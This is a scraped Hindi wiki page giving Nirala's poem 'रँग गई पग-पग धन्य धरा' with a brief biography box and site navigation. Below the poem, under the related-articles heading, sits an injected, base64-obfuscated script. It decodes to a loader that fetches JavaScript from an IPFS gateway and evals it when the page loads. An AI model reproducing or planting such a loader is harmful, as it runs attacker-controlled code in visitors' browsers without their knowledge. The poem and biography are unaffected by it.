एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

रँग गई पग-पग धन्य धरा -सूर्यकान्त त्रिपाठी निराला  

रँग गई पग-पग धन्य धरा -सूर्यकान्त त्रिपाठी निराला
कवि सूर्यकान्त त्रिपाठी निराला
जन्म 21 फ़रवरी, 1896
जन्म स्थान मेदनीपुर ज़िला, बंगाल (पश्चिम बंगाल)
मृत्यु 15 अक्टूबर, सन् 1961
मृत्यु स्थान प्रयाग, भारत
इन्हें भी देखें कवि सूची, साहित्यकार सूची
सूर्यकान्त त्रिपाठी निराला की रचनाएँ

रँग गई पग-पग धन्य धरा,---
हुई जग जगमग मनोहरा ।

वर्ण गन्ध धर, मधु मकरन्द भर,
तरु-उर की अरुणिमा तरुणतर
खुली रूप - कलियों में पर भर
          स्तर स्तर सुपरिसरा ।

गूँज उठा पिक-पावन पंचम
खग-कुल-कलरव मृदुल मनोरम,
सुख के भय काँपती प्रणय-क्लम
         वन श्री चारुतरा ।









संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=रँग_गई_पग-पग_धन्य_धरा_-सूर्यकान्त_त्रिपाठी_निराला&oldid=260647" से लिया गया